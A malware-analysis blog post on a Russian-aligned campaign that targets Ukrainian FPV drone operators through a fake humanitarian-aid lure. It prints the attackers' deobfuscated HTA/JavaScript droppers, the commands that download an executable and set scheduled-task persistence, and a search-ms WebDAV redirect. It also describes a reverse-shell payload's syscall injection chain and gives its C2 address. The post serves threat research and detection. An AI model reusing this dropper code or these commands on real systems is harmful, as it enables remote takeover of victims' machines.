UAC-0244 / UAC-0247: Malware Targeting FPV drone operators

by Robin Dost


Surprise, surprise – a new UAC article 😁

Actor: UAC-0244 / UAC-0247 / MB-0006
Malwarebox Identifier: 0006


This article is a little bit older, mainly because I have been spending a lot of time on Malwarebox and several other articles recently.
It is also part of my UAC series, where I look at threat activity with a Ukraine connection, my last article “UAC-0184: From HTA to a Signed Network Stack

A few weeks ago, I analyzed a malware campaign that was clearly targeting Ukraine.
Since I first started working on this article, a few things have changed.
UAC-0247 is now considered to be linked to the same actors behind the UAC-0244 cluster, as CERT-UA describes here:

“CERT-UA звертає увагу спільноти на те, що активність, описана в цій статті як окремий кластер кіберзагроз UAC-0247, фактично здійснюється особами, діяльність яких раніше відстежувалася за ідентифікатором UAC-0244” 🇺🇦

“CERT-UA draws the community’s attention to the fact that the activity described in this article as a separate cyber threat cluster UAC-0247 is actually carried out by individuals whose activity was previously tracked under the identifier UAC-0244.” 🇬🇧

HashDescriptionDownload
8040da63a8f5be3fec9724d6d6e6f101f5336d99be309bf0b7cd781f12aace158040da63a8f5be3fec9724d6d6e6f101f5336d99be309bf0b7cd781f12aace15.ziphttps://mantis.malwarebox.eu/shared/x8qqIok5CDYARdCwJP4GKz9d7j8Ewr9q
c06cc6122b798f88a05a088bfed39594af86ba714da89fec5ca62d7119782df9updater.exehttps://mantis.malwarebox.eu/shared/CfM6gyW98O01VIEtA6C6dev-GjptVRqt
b1d765f50f5c53702658b7a59a9bd05cfb042ea6b2d150191a84c53d373b9e4a
Final Payloadhttps://mantis.malwarebox.eu/shared/CfM6gyW98O01VIEtA6C6dev-GjptVRqt


The investigation started with the sample:

8040da63a8f5be3fec9724d6d6e6f101f5336d99be309bf0b7cd781f12aace15

Inside the ZIP archive we downloaded, there was an LNK file named:

“Форма заявки на гуманітарну допомогу фонд УкрВарта”

Translated from Ukrainian, this means roughly:

“UkrVarta Foundation Humanitarian Aid Application Form”

So let’s unpack the archive and take a look at the LNK file with LNKParse.

This is a typical mshta to HTA infection chain launched through a Windows LNK file.
If you have been following my blog for a while, you might slowly start seeing a pattern here when it comes to Russian-aligned threat actors.

Now let’s take a look at the website.

(Website is currently offline)

Unfortunately, I only still have the screenshot of the Ukrainian version and my Ukrainian is not exactly perfect, but the headline says something along the lines of:

"A Technological Edge for Victory"

UkrVarta supplies units with state-of-the-art FPV drones, UAVs, various types of equipment, PES tools and platforms for knowledge sharing between the military and industry


The page describes UkrVarta as supporting units with modern FPV drones, UAVs, aircraft types, EW tools and platforms for exchanging experience between the military and industry.

So the lure is obviously aimed at FPV drone owners, operators or people interested in that area.

When I tried to download the payload from the LNK, however, I saw this:

At first this error looked a bit strange, but then I quickly remembered that other Russian-aligned groups seem to have a bit of a geofencing fetish.
So I ran the target through my tracking setup and, voilà, I was able to download the payload.

But, as already mentioned in my previous article, before going deeper I always check how sloppy the actor was when configuring their web server.

And once again, no real effort was made here:

All samples were simply exposed. Good job.
These kinds of mistakes do not only give us files.
They also provide directly usable intelligence on UAC-0247/UAC-0244, especially around working patterns.
And btw: They fixed this mistake after me downloading everything, so at least either they figured it out on their own, or they’re monitoring their infrastructure.

The relevant time window was:

24 February 2026 to 22 March 2026

So roughly 27 days.

Distribution by weekday:

WeekdayCount
Tuesday4
Wednesday1
Friday1
Saturday1
Sunday5

What stands out is the strong concentration around late hours:

Time windowCount
00:00-00:591
17:00-17:591
20:00-20:595
21:00-21:591
22:00-22:594

So: 10 out of 12 events happened between 20:00 and 22:59.
That is the most interesting point here.

The server itself is reachable via the IP address:

109.237.97.4

This server is hosted at nuxt[.]cloud, a Russian hosting provider. Because of that, I suspect that the system time might have been set to UTC+3. I cannot prove that, though.

Now back to the analysis.

Files such as dopomoga.hta.old are always nice to find, because they let us look at the evolution of the delivery chain.

But first, let’s look at dopomoga.hta.

At first glance, there is not much suspicious visible here, except for the included JavaScript file script.js

The script is a classic, lightly obfuscated JavaScript dropper that executes on Windows systems through ActiveX.
The whole _0x... structure only exists to hide strings at runtime. Functionally, there is nothing complex here.
It is deliberately simple code that mainly tries to make static analysis slightly more annoying.

After resolving the strings, the script instantiates WScript.Shell and Scripting.FileSystemObject

It then checks whether the following directory exists:

%LOCALAPPDATA%\OneDriveUpdater

If the directory does not exist, it creates it. The name is obviously chosen to look legitimate and avoid drawing attention.

In the next step, the script uses cmd /c and curl to download a file from:

https://ukrvart[.]online/dopomoga/updater.txt

The file is stored locally as:

%LOCALAPPDATA%\OneDriveUpdater\OneDriveUpdater.exe

This is a simple masquerading trick: a file that looks like a text file on the server is downloaded and immediately written as an executable on disk.

Right after that, the script establishes persistence by creating a scheduled task named:

OneDriveUpdater

The task runs in the user context and starts the dropped executable every ten minutes.
The execution happens without a visible window, keeping the whole process unobtrusive for the user.

Overall, this is a typical stage-0 dropper as often seen in phishing campaigns.
It uses only built-in Windows tooling, no complex techniques, no exploit, just a clean and reliable flow:

Create folder -> download payload -> establish persistence

The actual functionality clearly lives inside the downloaded file.
This script only handles initial access and persistence.

We will look at updater.txt / updater.exe later in the article.
Before doing that, let’s look at the other files and especially compare dopomoga.hta with dopomoga.hta.old.

The file is quite small, so we can simply diff it.

The new HTA is basically just a shell. The old one did the actual work.

The old file contains the complete payload logic.
Obfuscated JavaScript builds a shell through ActiveX, stages itself under %LOCALAPPDATA%\OneDriveUpdater, pulls a payload from ukrvarta[.]online/conference/updater.txt via PowerShell, decodes it with XOR and writes the result as an EXE.
After that, it directly creates a scheduled task that executes the file every few minutes. Classic dropper with persistence, just slightly obfuscated.

In the new file, this entire block is simply gone. Instead, it only loads an external script from ukrvarta[.]online/dopomoga/script.js. Locally, nothing really happens anymore besides rendering the UI and showing a fake confirmation popup.
The actual logic has been moved into the externally loaded script.

The form was also slightly adjusted. Previously, it used checkboxes with fixed categories.
Now it uses a free-text field instead.
That makes it look less like a template and a bit more believable.

Bottom line:
same thing, but implemented more cleanly. Previously, it was a blunt HTA dropper.
It is now more of a minimal stub that dynamically loads the payload logic.

dopomoga.html

The page itself looks completely harmless at first: some text, a download hint, nothing too exciting.
The actual trick sits at the bottom: the ZIP archive is embedded directly into the HTML as Base64.
When the page is loaded, the data is decoded and automatically dropped as a file.

Compared to the HTA variants, this is not execution-focused anymore.
It is pure delivery. But it is cleaner, more stable and less noisy.

And btw: the ZIP contains the same LNK file as our initial entry sample.
So this was most likely also used as an entry vector.

conference.hta

This one disguises itself as a legitimate document related to an FPV conference.
It looks clean, contains a decent amount of text, is bilingual and appears somewhat believable at first glance.

The interesting part runs in the background again.
It uses the same obfuscated script as before: it builds a shell through ActiveX, stages itself under %LOCALAPPDATA%\OneDriveUpdater, pulls a payload from ukrvarta{.]online/conference/updater.txt via PowerShell, decodes it and writes the result as an EXE.
After that, it creates a scheduled task that starts the payload regularly.

So, technically, there is nothing really new here.
It is just different packaging. Instead of a form, the lure now uses a “serious” looking document.

Bottom line: same dropper as in the older HTA, just better wrapped to look legitimate and increase the chance that someone opens it.

conference2026_webdavroot.html

The page itself is again just bait. Some text, nothing immediately suspicious.

The real move is this line at the bottom:

window.location.href="search-ms:query=lnk&crumb=location:\\\\ukrvarta.online@8080\\davwwwroot";

This redirects the browser to a Windows search-ms URI. That does not simply open a website.
It opens Windows Search / Explorer with a predefined search. In this case, it points directly to a WebDAV share:

ukrvarta[.]online:8080/davwwwroot

and filters for .lnk files.

In practice, this is delivery through Windows features instead of a classic download.

dopomoga.html vs dopomoga.html.old

When diffing dopomoga.hta and dopomoga.hta.old, we get the following result:

Changes from Script 1 to Script 2

In the newer dopomoga.hta, the JavaScript is loaded externally, while in dopomoga.hta.old the script was embedded directly inside the HTA.

There are also several relevant changes between the two scripts.

dopomoga.hta – JS part, cleaned (Click to View)
var _0x3a94ab = _0x423d;
(function(_0x2c8484, _0x4bc3b2) {
    var _0x1c7b96 = _0x423d,
        _0xd85eea = _0x2c8484();
    while (!![]) {
        try {
            var _0x549a15 = parseInt(_0x1c7b96(0x75)) / 0x1 * (parseInt(_0x1c7b96(0x69)) / 0x2) + parseInt(_0x1c7b96(0x74)) / 0x3 * (parseInt(_0x1c7b96(0x68)) / 0x4) + parseInt(_0x1c7b96(0x6d)) / 0x5 * (parseInt(_0x1c7b96(0x71)) / 0x6) + -parseInt(_0x1c7b96(0x70)) / 0x7 + parseInt(_0x1c7b96(0x6e)) / 0x8 + -parseInt(_0x1c7b96(0x67)) / 0x9 + -parseInt(_0x1c7b96(0x6a)) / 0xa;
            if (_0x549a15 === _0x4bc3b2) break;
            else _0xd85eea['push'](_0xd85eea['shift']());
        } catch (_0x4fe4a6) {
            _0xd85eea['push'](_0xd85eea['shift']());
        }
    }
}(_0x2ef8, 0x1a797));

function _0x423d(_0x3e372e, _0x38ee68) {
    _0x3e372e = _0x3e372e - 0x66;
    var _0x2ef82a = _0x2ef8();
    var _0x423df7 = _0x2ef82a[_0x3e372e];
    return _0x423df7;
}

function _0x2ef8() {
    var _0x4ef266 = ['130JQmnzp', '3147470risYJl', 'ExpandEnvironmentStrings', 'Run', '10515Kkhyjk', '884136eDOoYM', 'FolderExists', '181503MnBNuA', '450VEtRbM', 'Scripting.FileSystemObject', 'cmd\x20/c\x20curl\x20https://ukrvarta[.]online/dopomoga/updater.txt\x20-o\x20%LOCALAPPDATA%\x5cOneDriveUpdater\x5cOneDriveUpdater.exe', '9jfLoPO', '372NwroHM', 'cmd\x20/c\x20schtasks\x20/create\x20/tn\x20\x22OneDriveUpdater\x22\x20/tr\x20\x22%LOCALAPPDATA%\x5cOneDriveUpdater\x5cOneDriveUpdater.exe\x22\x20/sc\x20MINUTE\x20/mo\x2010\x20/ru\x20\x22%USERNAME%\x22\x20/f', 'CreateFolder', '55215VCwWVW', '217104rlhWUm'];
    _0x2ef8 = function() {
        return _0x4ef266;
    };
    return _0x2ef8();
}
var shell = new ActiveXObject('WScript.Shell'),
    fso = new ActiveXObject(_0x3a94ab(0x72)),
    dir = shell[_0x3a94ab(0x6b)]('%LOCALAPPDATA%\x5cOneDriveUpdater');
if (!fso[_0x3a94ab(0x6f)](dir)) fso[_0x3a94ab(0x66)](dir);
shell[_0x3a94ab(0x6c)](_0x3a94ab(0x73), 0x0, !![]), shell['Run'](_0x3a94ab(0x76), 0x0, !![]);
dopomoga.hta.old – JS part, cleaned (Click to View)
var _0x983f2c = _0x5181;

function _0x151a() {
    var _0x46139d = ['1310370daJGwY', '100kyJUCo', 'CreateFolder', 'ExpandEnvironmentStrings', '28156932gkTQNF', 'JAB1AHIAbAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AGsAcgB2AGEAcgB0AGEALgBvAG4AbABpAG4AZQAvAGMAbwBuAGYAZQByAGUAbgBjAGUALwB1AHAAZABhAHQAZQByAC4AdAB4AHQAIgAKACQAbwB1AHQAUABhAHQAaAAgAD0AIAAiACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQBcAFwATwBuAGUARAByAGkAdgBlAFUAcABkAGEAdABlAHIAXABcAE8AbgBlAEQAcgBpAHYAZQBVAHAAZABhAHQAZQByAC4AZQB4AGUAIgAKACQAawBlAHkAIAA9ACAAWwBiAHkAdABlAFsAXQBdACgAMAB4ADYANgAsADAAeAA3ADUALAAwAHgANgAzACwAMAB4ADYAYgApAAoAJABiAHkAdABlAHMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAdQByAGwAKQAKACQAbwB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7AAoAIAAgACAAIAAkAG8AdQB0AFsAJABpAF0AIAA9ACAAJABiAHkAdABlAHMAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0ACgB9AAoATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlACAALQBQAGEAdABoACAAKABTAHAAbABpAHQALQBQAGEAdABoACAAJABvAHUAdABQAGEAdABoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAkAG8AdQB0AFAAYQB0AGgALAAgACQAbwB1AHQAKQA=', 'WScript.Shell', '3gPnEdG', '642260aMAGfo', 'cmd\x20/c\x20schtasks\x20/create\x20/tn\x20\x22OneDrive\x20Updater\x22\x20/tr\x20\x22%LOCALAPPDATA%\x5cOneDriveUpdater\x5cOneDriveUpdater.exe\x22\x20/sc\x20MINUTE\x20/mo\x2010\x20/ru\x20\x22%USERNAME%\x22', 'FolderExists', '3920912ddfJWR', 'Run', '8752373xtHrec', '%LOCALAPPDATA%\x5cOneDriveUpdater', 'powershell\x20-ep\x20bypass\x20-NoProfile\x20-WindowStyle\x20Hidden\x20-e\x20\x22', '7080552AbMXlm', '125420YqUUQN'];
    _0x151a = function() {
        return _0x46139d;
    };
    return _0x151a();
}(function(_0x5b2a70, _0x596711) {
    var _0x382d07 = _0x5181,
        _0x25a5cc = _0x5b2a70();
    while (!![]) {
        try {
            var _0x1b72c2 = -parseInt(_0x382d07(0x1ae)) / 0x1 + -parseInt(_0x382d07(0x1a6)) / 0x2 * (-parseInt(_0x382d07(0x1ad)) / 0x3) + parseInt(_0x382d07(0x1a7)) / 0x4 * (parseInt(_0x382d07(0x1a5)) / 0x5) + -parseInt(_0x382d07(0x1a4)) / 0x6 + -parseInt(_0x382d07(0x1b3)) / 0x7 + -parseInt(_0x382d07(0x1b1)) / 0x8 + parseInt(_0x382d07(0x1aa)) / 0x9;
            if (_0x1b72c2 === _0x596711) break;
            else _0x25a5cc['push'](_0x25a5cc['shift']());
        } catch (_0x332af4) {
            _0x25a5cc['push'](_0x25a5cc['shift']());
        }
    }
}(_0x151a, 0xcf09c));
var shell = new ActiveXObject(_0x983f2c(0x1ac)),
    fso = new ActiveXObject('Scripting.FileSystemObject'),
    dir = shell[_0x983f2c(0x1a9)](_0x983f2c(0x1a2));
!fso[_0x983f2c(0x1b0)](dir) && fso[_0x983f2c(0x1a8)](dir);

function _0x5181(_0x151920, _0x3b71ee) {
    _0x151920 = _0x151920 - 0x1a2;
    var _0x151a28 = _0x151a();
    var _0x518101 = _0x151a28[_0x151920];
    return _0x518101;
}
var shell = new ActiveXObject(_0x983f2c(0x1ac)),
    ps = _0x983f2c(0x1ab);
shell[_0x983f2c(0x1b2)](_0x983f2c(0x1a3) + ps + '\x22', 0x0, !![]), shell[_0x983f2c(0x1b2)](_0x983f2c(0x1af), 0x0, !![]);

The Base64 string inside the JavaScript from dopomoga.hta.old decodes to:

$url = "https://ukrvarta[.]online/conference/updater.txt"
$outPath = "$env:LOCALAPPDATA\\OneDriveUpdater\\OneDriveUpdater.exe"
$key = [byte[]](0x66,0x75,0x63,0x6b)

$bytes = (New-Object System.Net.WebClient).DownloadData($url)
$out = New-Object byte[] $bytes.Length

for ($i = 0; $i -lt $bytes.Length; $i++) {
    $out[$i] = $bytes[$i] -bxor $key[$i % $key.Length]
}

New-Item -ItemType Directory -Force -Path (Split-Path $outPath) | Out-Null
[IO.File]::WriteAllBytes($outPath, $out)

The XOR-Key is:

66 75 63 6b

ASCII:

fuck

XOR-encrypted payload removed

Old variant / dopomoga.hta.old:

The payload was loaded from:

https://ukrvarta[.]online/conference/updater.txt

Then it was locally XOR-decoded with the following key:

$key = [byte[]](0x66,0x75,0x63,0x6b)

ASCII-Key:

fuck

The decoded result was then written to:

%LOCALAPPDATA%\OneDriveUpdater\OneDriveUpdater.exe

New variant / dopomoga.hta:

No local decryption is used anymore. Instead, the payload is downloaded directly:

cmd /c curl https://ukrvarta[.]online/dopomoga/updater.txt -o %LOCALAPPDATA%\OneDriveUpdater\OneDriveUpdater.exe

That means the new payload is stored directly as a file without the previous XOR decoding step.

PowerShell EncodedCommand removed

Old variant / Script 1:

powershell -ep bypass -NoProfile -WindowStyle Hidden -e "<base64>"

This was noisy because it included several classic malware / loader indicators:

-ep bypass
-NoProfile
-WindowStyle Hidden
-EncodedCommand

New variant / Script 2:

The newer variant only uses:

cmd /c curl ...

This is simpler. One possible reason is to reduce PowerShell telemetry, avoid AMSI / PowerShell logging and bypass typical PowerShell detection rules.

URL changed

Old:

https://ukrvarta[.]online/conference/updater.txt

New:

https://ukrvarta[.]online/dopomoga/updater.txt

So:

/conference/ -> /dopomoga/

Scheduled task name changed

Old:

/tn "OneDrive Updater"

New:

/tn "OneDriveUpdater"

The space was removed.

This matters for hunting, because both task names should be considered IOCs.

/f was added

Old / Script 1:

schtasks /create ... /ru "%USERNAME%"

Old / Script 2:

schtasks /create ... /ru "%USERNAME%" /f

The /f flag forces overwriting an existing task.

This makes the new variant more robust: if the task already exists, it gets updated or overwritten instead of failing.

updater.exe

Both the /dopomoga and /conference directories contain an updater.txt file.

Because of the JavaScript changes, we know that one of those files was encoded with the XOR key fuck. After decoding it, the resulting file had the same hash. So both chains deploy the same malware.

I analyzed the file with Ghidra and radare2. Here is the summary.

Filenameupdater.exe
Size222056 bytes
TypePE32+ x86-64 GUI executable
SHA256c06cc6122b798f88a05a088bfed39594af86ba714da89fec5ca62d7119782df9
MD544fe18a23d6d2ca53a7234a934f438db
PETimeDateStampSat Mar 14 20:42:39 2026
ImageBase0x140000000
EntryPoint RVA0x20a4
EntryPoint VA0x1400020a4

Does anything stand out to you about PETimeDateStamp? 🙂

The PE contains an Authenticode certificate table referencing a Microsoft code-signing chain, but signature validity was not verified during this static analysis.

Resolved syscalls

The loader resolves NTDLL exports by CRC32 hash and then extracts the syscall numbers from the NTDLL stubs.

Resolved functions include:

NtOpenProcess
NtAllocateVirtualMemory
NtWriteVirtualMemory
NtProtectVirtualMemory
NtCreateThreadEx
NtWaitForSingleObject

The corresponding hashes are:

dbf381b5 -> NtOpenProcess
e0762feb -> NtAllocateVirtualMemory
e4879939 -> NtWriteVirtualMemory
5c2d1a97 -> NtProtectVirtualMemory
2073465a -> NtCreateThreadEx
dd554681 -> NtWaitForSingleObject

This is fairly classic: minimal imports, parse NTDLL at runtime, resolve syscalls directly and avoid user-mode hooks.

Injection Chain

The outer stage specifically looks for:

RuntimeBroker.exe

The flow is roughly:

NtOpenProcess(RuntimeBroker.exe)
NtAllocateVirtualMemory(remote, size=0x19321, PAGE_READWRITE)
XOR decode local payload from .data
NtWriteVirtualMemory(remote, decoded_shellcode)
NtProtectVirtualMemory(remote, PAGE_NOACCESS)
Sleep(47999 ms)
NtProtectVirtualMemory(remote, PAGE_EXECUTE_READ)
NtCreateThreadEx(remote_base)

The PAGE_NOACCESS -> Sleep -> PAGE_EXECUTE_READ sequence is interesting.

It looks like a simple delay / evasion layer before actual execution. This is also why we do not see much when running a quick sandbox analysis.

The shellcode is stored inside the .data section of the outer PE:

Encoded blob VA:     0x14001a000
Encoded blob raw:    0x18000
Encoded size:        0x19321 bytes
XOR key:             0x66
Decoded first bytes: 57 31 c0 b9 0a 00 00 00 ...

After XOR-decoding with 0x66, we do not get a PE directly. Instead, we get x64 shellcode.

Shellcode / Nested Loader

The shellcode is itself another loader. It resolves APIs by hash again, including:

LdrLoadDll
NtAllocateVirtualMemory
NtProtectVirtualMemory
NtFreeVirtualMemory

It then processes an internal package format.

Important offsets inside the decoded shellcode:

Shellcode entry:       offset 0x0000
First package:         offset 0x0c71
Second package size:   0x15bc1
Second package body:   offset 0x3760
End of shellcode blob: 0x19321

The second package is:

XOR encrypted
LZNT1 compressed

The stage uses RtlDecompressBuffer with compression format 0x2, which means LZNT1.

After XOR + LZNT1 decompression, we get the final PE payload.

Final Payload

The unpacked payload is:

Internal name: EncryptedReverseShell.exe
Type: PE32+ x86-64 GUI executable
Size: 0x20800 bytes
SHA256: 268400390be82fcb46f1b23e0319f2f2ba477e392014b41b57df587b99ecc3c5
MD5: 1c95b3d3ac3d6f9c839df333532060b4
PE TimeDateStamp: Tue Mar 3 19:53:17 2026
EntryPoint VA: 0x140001978
Reverse shell routine: around 0x140001070

Interesting strings:

EncryptedReverseShell.exe
109.237.97.4
Connected!
cmd /C %s
C:\Users\user\source\repos\EncryptedReverseShell\x64\Release\EncryptedReverseShell.pdb

C2 / Reverse Shell

The final payload connects to:

C2 IP:   109.237.97.4
Port: 8443

In code:

lea rcx, [109.237.97.4]
call inet_addr

mov ecx, 0x20fb
call htons

0x20fb is decimal:

8443

After that, a TCP socket is created and connected.

The flow is:

1. WSAStartup
2. socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
3. connect(109.237.97.4:8443)
4. send encrypted "Connected! "
5. receive encrypted command length
6. receive encrypted command
7. decrypt command
8. execute via cmd /C %s
9. capture output through pipes
10. encrypt output
11. send output back to C2

The protocol encryption is simple XOR:

XOR key length: 9 bytes
XOR key: 01 01 02 03 74 15 04 ff ee

This applies to the C2 messages, not to the outer .data blob. The outer blob uses 0x66

IIM Chain & Pattern

Besides the classic malware analysis, I also modeled the flow as an IIM chain.

IIM stands for Infrastructure Intelligence Model and is a part of the ecosystem i am building with Malwarebox.
It is my attempt to describe campaigns not only as isolated IOCs, but as connected infrastructure chains.

This case shows quite well why that matters.
The attack is not just updater.exe or one C2 IP. Before we ever get to the reverse shell, we have the lure, ZIP archive, LNK file, mshta, HTA / JavaScript staging, updater.txt, persistence through OneDriveUpdater, injection into RuntimeBroker.exe and finally the reverse shell connection to 109.237.97.4:8443.

The IIM chain models this flow through roles such as Entry, Staging, Payload and C2.
This makes it easier to see how the infrastructure works together and which parts are replaceable.

That is often more useful for tracking than a single hash.
Hashes rotate quickly.
Infrastructure patterns tend to survive longer.

The full chain is available here:

IIM Chain: UAC-0247 UkrVarta FPV Lure to RuntimeBroker Injection and Reverse Shell

Attribution

The malware is part of the UAC-0247/UAC-0244 campaign described by CERT-UA

One Response to “UAC-0244 / UAC-0247: Malware Targeting FPV drone operators

Upload Response

Your data will be stored in the mainframe. Required fields are marked *